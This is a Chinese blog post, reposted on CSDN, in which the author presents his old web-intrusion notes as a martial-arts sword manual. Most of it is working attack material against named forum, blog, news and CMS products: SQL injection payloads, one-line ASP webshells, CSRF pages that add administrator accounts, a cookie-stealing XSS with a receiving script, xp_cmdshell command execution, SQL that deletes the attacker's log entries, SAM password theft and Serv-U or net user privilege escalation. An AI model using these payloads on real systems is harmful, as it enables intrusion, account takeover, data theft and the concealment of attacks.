十年前的web小子

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/whatday/article/details/50854393

高中接触web检测 直至大学才算入门 发表一下当时的学习总结 纪念一下十年的岁月 以下是正文:


独孤九剑,有进无退,招招都是进攻,攻敌之不得不守,自己当然不用守了。创制这套剑法的独孤求败前辈,名字叫做“求败”,他毕生想求一败而不可得,这剑法施展出来,天下无敌。 


    欲炼此功,必先掌握ASP,PHP,JSP,HTML,SQL。
  
    独孤九剑的第一招“总诀式”,足足有3000余字,而且内容不相连贯;总诀是独孤九剑的关键,须得朝夕念诵,方可烂熟于胸后融会贯通。
    有评论试跨站,有上传试上传,本地验证去脚本,还是不行试NC。动网备份要验证,copy /b破此招,图片验证用GIF89a,扩展名变换来上传。SHELL提权看系统,工具系统要对应(1),权限大小要分清(13),
    Serv-U跟着来,pcanywhere别忘记,提权目录嘿重要(4)。删除日志有SQL(5)。注入勿忘参数全(6),session范围要清楚(7),数据库连接试暴库,
    有提交试',管理登陆试注入,SQL信息要仔细(8),密码策略误建号,暴库别忘%5C和/inc/syscode.asp,SQL注入有备份(9),执行命令还SQL(10).索引还有robots,
    JSP也要试一试(11),隐含标签仔细看(12)
注释:
(1)windows2003要用它本身的CMD.EXE,NET.EXE,NETSTART.EXE
(4) C:\Documents and Settings\All Users\「开始」菜单\程序 查看软件信息,如Serv-U路径
      C:\Program Files\Serv-U\  
      C:\WINDOWS\system32\config\ 下载SAM破解密码
      c:\winnt\system32\inetsrv\data\  everyone的777
      C:\Documents and Settings\All Users\Documents 有时是everyone的777
      C:\Program Files\ 看安了什么软件
      C:\Documents and Settings\All Users\「开始」菜单\程序\启动  可以试试写入VBS BAT等木马
      C:\Program Files\KV2004 | C:\Program Files\RISING\RAV\ | C:\Program Files\Real\RealServer\   替换服务
      C:\Program Files\Microsoft SQL Server | c:\temp | c:\mysql | c:\php | c:\prel | C:\Program Files\Java Web Start\ |  C:\Documents and Settings\ |  ??
      autorun.inf 可以修改指向马如
      [Autorun]
      open=c:\muma.exe(木马路径)
(5)Delete * from [Dv_User] where UserLastIP='my IP'. Delete * from [Dv_Admin] where LastLoginIP='my IP'. Delete * from [Dv_Log] where l_ip='my IP'.
(6)http://xxx.com/a.asp?id=1&classid=2&userid=3 and 1=1,http://xxx.com/a.asp?userid=3&classid=2&id=1 and 1=1,http://xxx.com/a.asp?id=1&userid=3&classid=2 and 1=1这3句是不一样的
(7)同一台主机多个网站SESSION如同虚无,可以通过帮助破同一主机上另一个网站的SESSION验证
(8)加' 返回: OraOLEDB 错误 '80040e14' 说明是Oracle数据库,加/*返正确数据库是MYSQL,ACCESS不支持注释,sqlserver和Orcale支持--
(9)1.drop table [nihao]; create table [nihao]([cmd] [image])
     2.declare @a sysname, @s varchar(4000) select @a=db_name(), @s= 0x77686174646179 backup database @a to disk=@s   
     数字是whatday的16进制
     3.insert into [nihao] values (0x6578656375746520726571756573742822776861746461792229) 
     数字是execute request("whatday")的16进制
     4.declare @a sysname, @s varchar(4000) select @a=db_name(), @s=0x653A5C777777726F6F745C776861746461792E617370 backup database @a to disk=@s with differential,format
     数字是e:\wwwroot\whatday.asp的16进制
     5.drop table [nihao]
(10)exec master.. xp_cmdshell 'dir *.exe'
      恢复此存储过程有:exec master.db0.sp_addextendedpro xp_cmdshell,@dllname='xplog70.dll'
      除了此存储过程还有一个也可以执行命令,用法如下:
      declare @cmd int
      exec sp_oacreate 'wscript.shell',@cmd output
            exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo "<%execute reuqest("whatday")%>" >e:\wwwroot\whatday.asp'
      此外还有一个可以读取注册表,注册表里就有网站的路径:
      exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTME\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'
(11)地址后加.bak %2e 大写JSP来暴源代码
(12)比如在密码找回时有1,填用户名-》填问题回答-》修改密码,在第三步时看源代码一般有<input name="g_username" id="g_username" type="hidden" value="whatday">
      其中whatday就是要找回密码的用户名,此时将whatday改为其他用户本地提交,这是那个用户密码就被改了。
(13)有时候不能写入文件,可以尝试编辑,就是写入已经存在的文件,比如得到一个WEBSHELL但不是我想要网站的,这个服务器没有FSO,
      可以通过各种方法得到那个网站的物理路径,然后去COPY 一个过去,如果不行,就覆盖它的文件,最终达到目的。
-------------------------------------------------------------------------------------------------------------------------------------------
  第二招是“破剑式”,用以破解普天下各门各派的剑法。(论坛) 
    ================
    太极剑法(DVBBS)
    ================
*****************
announcements.asp    
*****************
适用于DVBBS7.0 可以新建前后台管理员帐号
发贴[img]http://localhost/test3/announcements.asp?action=SaveAnn&username=admin&boardid=0&bgs=G:\music\20051107175057_271540_491577728.mp3&title=test&Content=test&submit=%B7%A2+%B2%BC[/img]只要管理员浏览就可以改公告,[img]可以改成[upload=jpg],其中bgs是背景音乐,没有过滤,所以可以挂马[img]http://localhost/test3/announcements.asp?action=SaveAnn&username=admin&boardid=0&bgs=><iframe src=http://loaclhost width=0 height=0></iframe><bgsound src=&title=test&Content=test&submit=%B7%A2+%B2%BC[/img]把其编码最后发帖[img]http://localhost/test3/announcements.asp?action=SaveAnn&username=admin&boardid=0&bgs=%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6C%6F%61%63%6C%68%6F%73%74%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%3C%62%67%73%6F%75%6E%64%20%73%72%63%3D&title=test&Content=test&submit=%B7%A2+%B2%BC[/img],添加管理员,前提是管理员登陆了后台没有退出的情况下,挂网页1.html其内容如下:
<form action="http://127.0.0.1/admin_admin.asp?action=savenew" method=post name=h>
<input type=text name=username2 value=fhod>
<input type=password name=password2 value=123456>
<input type=text name=username1 value=fhod>
<script language=JavaScript>
document.h.submit(); 
</script> 
只要管理员一浏览,就有了一个前台和后台的管理员fhod密码是123456,但后台没有权限所以在挂2.html其内容如下:
<iframe src=http://localhost/admin_admin.asp?action=updat&flag=31&flag=32&id=19&Submit=%B8%FC%D0%C2 width=0 height=0></iframe>
其中flag=31&flag=32分别是备份和恢复id是管理员fhod的id


************
mymodify.asp    
************
所有通用,头像过滤不严,可以挂马
先把script替换成<i>script</i>,在有把|替换成空,所以有javas|cript,从而破解此招
更新头像抓包得:
POST /dv7.0/mymodify.asp?action=updat&username=2 HTTP/1.1
Accept: */*
Referer: http://localhost/dv7.0/mymodify.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 389
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: localhost%2Fdv7%2E0%2F=userid=2&usercookies=0&userhidden=&password=euHx4j886YuC8560&userclass=%B9%DC%C0%ED%D4%B1&username=test&StatUserID=5841675; DLER=; DLIP=127%2E0%2E0%2E1; ASPSESSIONIDCADTTDCR=FDOJCIPBOMGEBHGPOLGLNLFK; upNum=0


sex=1&face=Images%2Fuserface%2Fimage4.gif&myface=Images%2Fuserface%2Fimage4.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&usercookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2
把挂马代码可以放到内置头像,也可以放到自定义头像,二者放其一
如把其放进内置头像face=javas|cript:open("http://www.163.com","163","width=0,height=0")&myface=
若用自定义头像可直接在网页提交,因为单引号被过滤,所以用双引号
用POST提交工具提交,NC要计算长度,麻烦!


***********
Cookies欺骗
***********
适用于DV7.1,还适用于大部分论坛,知道管理员的各列MD5,但不能破解,此招可破前台管理员权限。
用可以查看修改COOKIES得浏览器浏览论坛,我的是test 991100 其COOKIES是 
DvForum=userid=2&usercookies=0&userhidden=&password=u9pc72f664t5w7I4&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=test&StatUserID=6322703; ASPSESSIONIDCADTTDCR=JDOJCIPBDAPLACEENPKBILOM; upNum=0
注意这里的PASSWORD应该是字段TruePassWord的值这个每次都不一样,修改password,userclass,username,userid后,刷新两次就OK
进入后有前台管理员得权限


***************
DV7.0 SP2之秒杀
***************
适用于DVBBS7.0SP2,DVBBS SP2权限提升 和 暴DV_log的 只要存在漏洞绝对秒杀 


************
savepost.asp
************
适用于DVBBS7.1SP1SQL版,可以得到WEBSHELL,注入漏洞
漏洞代码:
If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
。。。。。
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Buy_UserList变量没过滤严,传给了ToolsBuyUser然后进了SQL


发帖-》论坛金币帖设置:-》论坛交易帖设置-》可购买用户名单限制:写一下的语句,一张帖写一句
提升位前台管理员
paymoney|||',3);update [dv_user] set usergroupid=1 where username='test';--
建立一个有全部权限的后台管理员
paymoney|||',3);insert into [dv_admin]([username],[password],[flag],[adduser]) values('test','60be7e89da2ded78','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36','test');--
也有现成的工具dv交易贴.exe除了以上的功能他还可以删日志
如果数据库是ACCESS那么当发表上面的帖子时就会有:
Microsoft JET Database Engine 错误 '80040e14' 
在 SQL 语句结尾之后找到字符。 
/dv7.1/inc/Dv_ClsMain.asp,行 1287 
的错误提示,这时就放弃
进入后台由于是MSSQL的没有现成的备份恢复所以自己写代码:
<form name=upload action="http://bbs.XXXX.com/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件得位置:<input name="Dbpath" type="text" size=80 value=></p>
<p>要复制到的位置:<input name="backpath" type="text" size=80 value=></p>
<p><input type="submit" value="提交"></p>
</form>
照原样得WEBSHELL OK!
********
boke.asp
********
适用于DVBBS7.1,得到博客中管理员的密码,若是和BBS密码一样,可以的WEBSHELL,注入漏洞
漏洞代码:
If BokeName<>"" Then
Sql = Sql & " where BokeName = '"&BokeName&"'"
。。。。。
ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING"))
If ArchiveLink <> "" Then
ArchiveLink = Split(ArchiveLink,".")
If Instr(Lcase(ArchiveLink(0)),"show_")=0 Then BokeName = Replace(ArchiveLink(0),".html","")
Else
ReDim ArchiveLink(5)
End If
值得注意的是 Request.ServerVariables("QUERY_STRING")和request("")不同,前者中地址栏的Unicode不会被解码,后者会
所以注入语句中不能有空格,语句如下:
http://localhost/dv7.1/boke.asp?admin'and(16)=len(password)and'1'='1.html可猜测密码位数16/32,但因为是开源的,所以不需要了
http://localhost/dv7.1/boke.asp?admin'and'4'=left(password,1)and'1'='1.html
http://localhost/dv7.1/boke.asp?admin'and'46'=left(password,2)and'1'='1.html
http://localhost/dv7.1/boke.asp?admin'and'469'=left(password,3)and'1'='1.html
......猜测每位是多少
破解MD5,的管理员,运气好的WEBSHELL,一般最先注册博客的一般都是管理员
有工具DVBBS7 最新漏洞(boke.asp)利用工具AC版.exe,DVBBS7.1 boke.asp漏洞SQL版利用工具.exe


    ================
    柔云剑法(BBSXP)
    ================
****************
MyAttachment.asp  
****************
适用于BBSXP6,可以删除别人的附件
    删除附件时抓包得
POST /bbsxp6.0/MyAttachment.asp?menu=DelPostAttachment HTTP/1.1
Accept: */*
Referer: http://localhost/bbsxp6.0/MyAttachment.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 4
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: skins=1; ASPSESSIONIDSSQBCBDQ=DCJHBFNBPDHBLCBEGGEMECFK; Userpass=4A5D41F860BE7E89DA2DED78B1E11DA5; UserName=test; Onlinetime=2006%2D8%2D23+%C9%CF%CE%E7+09%3A44%3A18


ID=5
可见只提交了ID=5也就是附件得ID,只要将其ID和UserName对应就可以删除附件,可以删除别人的附件,用NC提交数据:nc -vv 127.0.0.1 80 <a.txt
    


    ========================
    夺命连环三仙剑(BBSGOOD)
    ========================
*********************
getpass.asp,[img]跨站
*********************
适用于BBSGood.Speed Version 3.0.0_free。可以得WEBSHELL
第一步取得管理员帐号
法一:
源代码如下:        
        username=trim(Request.Form("username")) 
        sql="select * from LxTel_User where username='"&username&"' "
构造如下:
        ' union select 39,38,37,36,35,34,33,32,31,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1 from [LxTel_User] where username='admin
其中以32处可以显出,所以' union select 39,38,37,36,35,34,33,password,31,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1 from [LxTel_User] where username='admin就可以得到管理员密码的MD5,再来COOKIE欺骗就OK了。
法二:
此论坛存在[img]的跨站,[img]javascript:document.write("<iframe src=http://localhost/bbsgood/getcookies.asp?"+escape(document.cookie)+"></iframe>")[/img]但因为有过滤所以必须ANSI编码,getcookies.asp内容如下:
<%
dim strfilename
strfilename = "mydata.txt" '数据文件存放目录
set lP=server.createObject("Adodb.Stream") 
lP.Open 
lP.Type=2 
lP.CharSet="gb2312" 
lP.writetext unescape(request.Servervariables("QUERY_STRING")) 
lP.SaveToFile server.mappath(strfilename),2
lP.Close 
set lP=nothing 
%>
由此也可以得到管理员密码的MD5


第二步 得WEBSHELL
后台-》CSS样式编辑-》插入小马<%execute(request("whatday"))%>-》导入/导出模板-》导出小马whatday.asp-》一句话后门提交-》得到WEBSHELL
如果速度太慢抓包用NC提交


    ================
    绕指柔剑(6KBBS)
    ================
************
elselist.asp
************
适用于6KBBS[lqtoy]美化版v3.6,可以得到WEBSHELL,注入漏洞
漏洞代码:
userid=Request.QueryString("userid")
case "usertop"
sql="select*from topic where userid="&userid&" and type<>3 order by edittime desc"
case "withusertop"
sql="select*from topic where id in(select bid from bbs"&totable&" where userid="&userid&") and type<>3 order by edittime desc"
case "good"
if isnumeric(userid) and  userid<>"" then 
sql="select*from topic where type=1 and userid="&userid&" order by edittime desc"
。。。。。。。。。
userid没有过滤就进入了SQL
注入点:http://localhost/6k/elselist.asp?action=usertop&userid=1
http://localhost/6k/elselist.asp?action=usertop&userid=1 or 46<(select asc(mid(password,1,1)) from [user] where userid=2)  
用工具:通用注入器,但要有COOKIE,先要登陆并保存一天。注入的条件不成立显示为0帖,成立有一段对一无二的代码,这就是关键字,按正确字符,猜测MAX,
这时先要把条件换成等号,再破解,得到前台管理员的MD5,可以用COOKIE欺骗,同理破ADMIN表 字段是name和password。若是password的MD5破不到,就考虑
/music/music.mdb里面的密码没用MD5,说不定和后台的一样哟,进入后台,执行SQL语句,update notdown set notdown=0x3C256578656375746520726571756573742822776861746461792229253E
notdown表中有<%所以替换成<%execute request("whatday")%>,OK
得到WEBSHELL
   
********
bank.asp
********
适用于6KBBS美化版,可以得WEBSHELL,注入漏洞
漏洞代码:
 sql2="select save,userid from [user] where name='"&request.form("dxname")&"'"
' or 1=1 and exists(select * from [admin] where [name]='admin' and asc(mid([password],1,1))>58) and '1'='1 其中48-57是数字97-122是字母
得到密码,进入后台,添加上传类型CER,上传马,得WEBSHELL


    =======================
    狂风快剑(一分流水论坛)
    =======================
********
wish.asp
********
适用于一分流水2005SP1,可以得WEBSHELL
登陆wish1/wish.asp或wish2/wish.asp-》许愿-》<%execute request("whatday")%>-》一句话连接端连接,默认数据库地址database/%23wish.asp-》上传大马得WEBSHELL


     =====================
     淑女剑法(颓废者论坛)
     =====================
***********
profile.asp
***********
适用于TuifeiForum V3,有注入漏洞,可以得到前台管理员权限。
漏洞代码:
sex = request("sex")
StrSql = "update sf_user set"
if request("password") <> "" then
StrSql = StrSql & " password = '" & md5(ChkSql(request("password"))) & "',"
end if
if IsValidEmail(request("email")) then StrSql = StrSql & " email = '" & ChkSql(request("email")) & "',"
StrSql = StrSql & " homepage = '" & ChkSql(server.htmlencode(request("homepage"))) & "', "
StrSql = StrSql & " qq = '" & ChkSql(server.htmlencode(request("qq"))) & "', "
StrSql = StrSql & " [like] = '" & ChkSql(server.htmlencode(request("like"))) & "', "
StrSql = StrSql & " sex = " & sex & ", "
SEX没经过任何过滤,因为作者认为SEX是单选表。
update sf_user set email = 'as@126.com', homepage = '', qq = '', [like] = '', sex =1,email='(select password from sf_user where username='admin')' ,country = '', signature = '', showemail = 1, invisible = 0, avatar = '1.gif', defineavatar = '', avatarwidth = 0, avatarheight = 0, birthday = '1900-1-1' where username = 'test'
抓包修改SEX为1,usergroup=4提交OK前台管理员了,还可以把username修改成跨站代码


-------------------------------------------------------------------------------------------------------------------------------------------
  第三招“破刀式”,用以破解单刀、双刀、柳叶刀、鬼头刀、大砍刀、斩马刀等种种刀法。“破刀式”讲究以轻御重,以快制慢。“料敌机先”这四个字,正是这剑法的精要所在。 (新闻系统)
    =====================
    血魔刀法 (雷驰新闻系统)
    =====================
***********************
admin/uploadPic.inc.asp    
***********************    
适用于V3.0上传漏洞可以直接得到WEBSHELL
http://localhost/leichinews/admin/uploadpic.asp?actiontype=mod&picname=test.asp(手动没有成功,晕!@_@)
用雷驰新闻系统上传漏洞工具成功!


    =========================
    反两仪刀法(惠信新闻系统)
    =========================
适用于:Redcaff NewsXP MSSQL 4.0
注入漏洞有很多,可得WEBSHELL
http://www.xxx.com/news_count.asp?fname=2006040503302
http://www.xxx.com/Special.asp?name=test' and 1=2 union select 1,2,3,4,5,6,7,8 from admin--
进入后台可以用写入配置的一句话木马得WEBSHELL


     =======================
     狂刀刀法(动易文章系统)
     =======================
*******************************
printpage.asp|Article_print.asp
*******************************
适用于3.51及以前的版本,很多网站文章系统也是用的这个修改的,可以参考
注入漏洞:
http://localhost/dl/printpage.asp?ArticleID=1
http://localhost/dl/printpage.asp?ArticleID=1 and 1=2 union select 1 from admin 返错
。。。。。。
http://localhost/dl/printpage.asp?ArticleID=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 返正确,其中3,4,5,8,14可以显示
http://localhost/dl/printpage.asp?ArticleID=1 and 1=2 union select 1,2,count(id),min(id),max(id),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 得出有好多管理员 其ID是好多
http://localhost/dl/printpage.asp?ArticleID=1 and 1=2 union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin where id=4 得出制定ID的管理员用户名和密码
进入后台,可以把一句话木马写入配置,我发现很多网站后台都有网站信息,其都是放在ASP文件中的,而且信息多半没过滤,所以写一句话马很容易,通用格式":execute request("whatday")'


-------------------------------------------------------------------------------------------------------------------------------------------
  “破枪式”,包括破解长枪、大戟、蛇矛、齐眉棍、狼牙棒、白蜡杆、禅杖、方便铲种种长兵刃之法。(在线编辑系统) 


 
        
-------------------------------------------------------------------------------------------------------------------------------------------
  “破鞭式”,破的是钢鞭、铁锏、点穴橛、拐子、峨眉刺、匕首、板斧、铁牌、八角槌、铁锥等等短兵刃(博客系统)


    ==============
    峨眉刺(oblog)
    ==============
*************
user_blog.asp
*************
适用于oblog2.52sql,过滤不严,得WEHSHELL
登陆一般用户,管理,新建专题,移动日志到专题,同时抓包得:
POST /oblog252sql/User_blog.asp HTTP/1.1
Accept: */*
Referer: http://localhost/oblog252sql/user_blog.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 76
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSBDCBBA=GOLHNBNCNMFODCFOILBCJAAA; oblog123=CookieDate=0&Password=56a55a100a101a100a50a97a100a57a56a101a55a101a98a48a54&UserLevel=55&UserName=116a115a101a116


ID=1&uname=test&chkAll=checkbox&Action=Move&subject=2&Submit=+%D6%B4+%D0%D0+
 
更改提交内容为    
ID=1;declare+@a+sysname+select+top+1+@a=username+from+[admin]+update+[user]+set+homepage=@a+where+userid=1--&uname=test&chkAll=checkbox&Action=Move&subject=2&Submit=+%D6%B4+%D0%D0+
用POST提交工具,注意因为有些限制了外部提交,本地要写成LOCAL写127.1.0.1都不行,进入一般用户管理,修改我的资料 中的 主页 就是管理员帐号了
更改提交为:
ID=1;update+[admin]+set+password=0x3600300062006500370065003800390064006100320064006500640037003800+where+username=0x610064006D0069006E00--&uname=test&chkAll=checkbox&Action=Move&subject=2&Submit=+%D6%B4+%D0%D0+
其中password是991100的MD5的16进制的再每两位加00得到的,username是admin的16进制的再每两位加00得到的
登陆后台admin_login.ASP 添加上传允许ASA 上传木马OK


****************
inc/function.asp
****************
适用于v252SQL未打补丁的版本,注入漏洞,得WEBSHELL
漏洞代码:
Password=DecodeCookie(Request.Cookies(cookiesname)("Password")) 
。。。。。
sqlLogin="select * from "&ot_usertable&" where "&ot_username&"='" & username & "' and "&ot_password&"='" & password &"'"
其中有对加密函数DecodeCookie和codeCookie,其VBS代码分别如下:
str=inputbox("")
Dim i
Dim StrArr,StrRtn
StrArr = Split(Str,"a")
For i = 0 to UBound(StrArr)
If isNumeric(StrArr(i)) = True Then
StrRtn = Chrw(StrArr(i)) & StrRtn
Else
StrRtn = Str
Exit Function
End If
Next
DecodeCookie = StrRtn
inputbox "","",decodecookie
+++++++++
str=inputbox("")
Dim i
Dim StrRtn
For i = Len(Str) to 1 Step -1
StrRtn = StrRtn & Ascw(Mid(Str,i,1))
If (i <> 1) Then StrRtn = StrRtn & "a"
Next
CodeCookie = StrRtn
        inputbox "","",codecookie


查COOKIE,COPY PASSWORD 运行DecodeCookie加密 COOKIE本来是56a55a100a101a100a50a97a100a57a56a101a55a101a98a48a54 加密后是60be7e89da2ded78
构造COOKIE中的PASSWORD是:
60be7e89da2ded78' and 1<(select [userpassword] from [user] where [userid]=1)--要用codeCookie加密
再刷新,OK管理员的密码的MD5出来了,因为类型冲突,MSSQL要报错出密码来,还可以把管理员密码改了
60be7e89da2ded78';update [user] set [userpassword]='60be7e89da2ded78' where [username]='admin'
这样就有前台管理员的权限了,进入自己管理页面把COOKIE中密码改成' or ''='就可以了要加密哟,刷新就进了ADMIN的后台,因为条件为真,当然返回第一条记录
添加上传允许ASA 上传木马OK
    ===============
    五毒鞭(L-Blog)
    ===============


**************
L-Blog提权漏洞
**************
适用于L-Blog V1.08 (SE) Final,可以提升为管理员,运气好可以得WEBSHELL
L-Blog提权漏洞利用工具,用法:
1。登陆后进入“用户中心 - 修改资料”,此时要运行“WSockExpert”来抓取Cookie,在“编辑个人资料”处填入“旧密码”,其他的什么都不要填,直接点击“确定编辑”,这时“WSockExpert”已抓取到了Cookie,复制下来;
2。运行本程序,填入该目标Blog的地址、刚才抓取到的Cookie以及你注册时的密码,点击“提交”,待状态栏提示“数据提交完毕,请重新登陆!”后,重新登陆Blog,你注册的ID即提升为管理员。
进入后台后,看数据库是不是MDB如果是放弃,如果是ASP ASA等ASP.DLL可以解析的就继续
数据管理 -》drop table aNotdownload-》insert into blog_info(blog_name) values('<%execute request("whatday")%>')-》一句话客户端提交-》上传马OK


-------------------------------------------------------------------------------------------------------------------------------------------
  “破索式”,破的是长索、软鞭、三节棍、链子枪、铁链、渔网、飞锤流星等等软兵刃。 




-------------------------------------------------------------------------------------------------------------------------------------------
  “破掌式”,破的是拳脚指掌上的功夫。对方既敢以空手来斗自己利剑,武功上自有极高造诣,手中有无兵器,相差已是极微。天下的拳法、腿法、指法、掌法繁复无比,这一剑“破掌式”,将长拳短打、擒拿点穴、魔爪虎爪、铁砂神掌,诸般拳脚功夫尽数包括在内。 (整站系统)
    ==========================================
    武当长拳(阿里巴巴商贸世界B2B网站管理系统)
    ==========================================


**************
用户回馈的跨站
**************
意见反馈-》<iframe src="http://locahost/alibaba.html"></iframe> -》上传一个图片格式的马-》插看地址-》提交等待管理员查看就OK
alibaba.html的内容如下:
<form name="form" method="post" action="/admin/administrator/administrator.asp?
action=save">
<input name="user" value="whatday">
<input name="pass" value="991100">
</form>
<form name="form1" method="POST" action="/admin/system/admin_backdb.asp?
action=back">
<input  name="currf"  value="/UserDocument/test1/Picture/2006826_上午_113046.gif"> 这里是先前查看得地址
<input  name="backf"  value="/">
<input  name="backfy"  value="whatday.asp">
</form>
<SCRIPT language="JavaScript">
<!--
function BIN(){
document.form.submit()
document.form1.submit()
}
function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
function cnt_net(){
if (get_cookie('whatday')==''){
BIN()
document.cookie="whatday=991100"
}
}
cnt_net()
//-->
</SCRIPT>
可以添加管理员whatday 密码991100 再根目录下得到一马whatday.asp




    =================================
    四象掌(良精通用企业网站管理系统)
    =================================


**************
SiteConfig.asp
**************
适用于登陆后台情况下得操作,得到WEBSHELL
其漏洞代码如下:
hf.write "Const SiteName=" & chr(34) & trim(request("SiteName")) & chr(34) & "        '网站名称" & vbcrlf
hf.write "Const SiteTitle=" & chr(34) & trim(request("SiteTitle")) & chr(34) & "        '网站标题" & vbcrlf
等等,提交的信息美经过任何过滤,构造为:网站名称" : execute request("whatday")'其中:为分隔符,用一句话连接端,OK得到WEBSHELL
后台还可以通过备份数据库的方法得到WEBSHELL


    ===================================
    空明拳(天空教室网络教学平台)
    ===================================


***********
GetFile.asp
***********
适用于V3.0,可以得到WEBSHELL
漏洞代码:
if ( !IsValidFileType(l_form.filename.value, "", g_FilterAspFile) ) {
alert("对不起,系统限制不允许上传ASP文件!");
return false;
}
其中g_FilterAspFile为:
// 预定义好的文件过滤字符串
var g_FilterAspFile = ".asp.aspx";


还有asa cdx cer没有过滤
登陆/htmleditor/getfile.asp,上传一个.ASA的马就OK了


   =========================================
    天山折梅手(花香盈路网站管理系统(Hxcms))
    ========================================
**************
管理员默认登陆
**************
    适用于7.0及以下得版本
    默认登陆地址/ewebeditor/admin_login.asp默认user:admin,password:admin 默认数据库地址:/eWebEditor/date/#hx66.net.asp(v7.0), /eWebEditor/mdb/mdb.asp(v6.5)
    进入后样式管理,在FLASE中添一句话木马,或者修改允许上传ASA,最后得到WEBSHELL,但要是默认数据库被改了就不能插一句话木马了。
    登陆后台-》拷贝样式-》设置 上传路径:/ -》上传文件管理-》选择样式目录 /-》得到简陋马-》查看数据库地址-》数据库格式ASP得大马,否则得简陋马
    用../(次数不定)就可以看到这个盘得内容,简陋马可以浏览和删除文件


    =============================
    昊天掌(流光网络小说连载系统)
    =============================
**********
search.asp
**********
适用于V1.0,可以得到WEBSHELL
漏洞代码:
select * from b_class where b_name like '%"&word&"%' order by b_id desc"
构造语句
asdf'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin_user'
asdf'union select 1,username,3,password,5,6,7,8,9,10,11,12,13,14,15 from admin_user'
进入后台-》配置在其加入":execute request("whatday")'在连const.asp,但要注意一旦加入一句话木马,此程序将不能运行,所以动作要快,上了大马,马上改回来


    =================================
    三无三不手(零度白茶网吧影视系统)
    =================================
*************************
上传漏洞|默认数据库查小马
*************************
默认数据库地址http://localhost/bcmovie/zerotea.asp 在错误报告查一句话木马
上传漏洞用Domain3.5上传


-------------------------------------------------------------------------------------------------------------------------------------------
  “破箭式”这个“箭”字,则总罗诸般暗器,练这一剑时,须得先学听风辨器之术,不但要能以一柄长剑击开敌人发射来的种种暗器,还须借力反打,以敌人射来的暗器反射伤敌。(WEBSHELL的提权)
     ===============
     嗅探FTP帐号提权
     ===============
     用sniff.exe或xsniff.exe嗅探FTP帐号,其命令分别是:sniff.exe IP PORT  和 xsniff.exe -tcp -pass -hide -port 21 -log pass.txt
     得到后再用然后用DOS登陆执行命令 quote site exec "cmd /c net user whatday 991100 /add & net localgroup administrators whatday /add",如果没有执行权限,就再探直到得到有执行权限的帐号
      
     =========================
     ServUDaemon.ini文件的修改
     =========================
     Serv-U目录下有个ServUDaemon.ini,如果可以修改ServUDaemon.ini,
      [DOMAINS]
      Domain1=127.0.0.1||21|whatday|1|0|0|what|1|0|0(最后|what|1|0|0是加的)
      [Domain1]
      User1=whatday|1|0
      user2=what|1|0 (这是加的)
     (以下是加的)
      [USER=what|1]
      Password=
      HomeDir=c:\\
      TimeOut=1200
      Maintenance=System
      Access1=c:\IRWAMELCDP
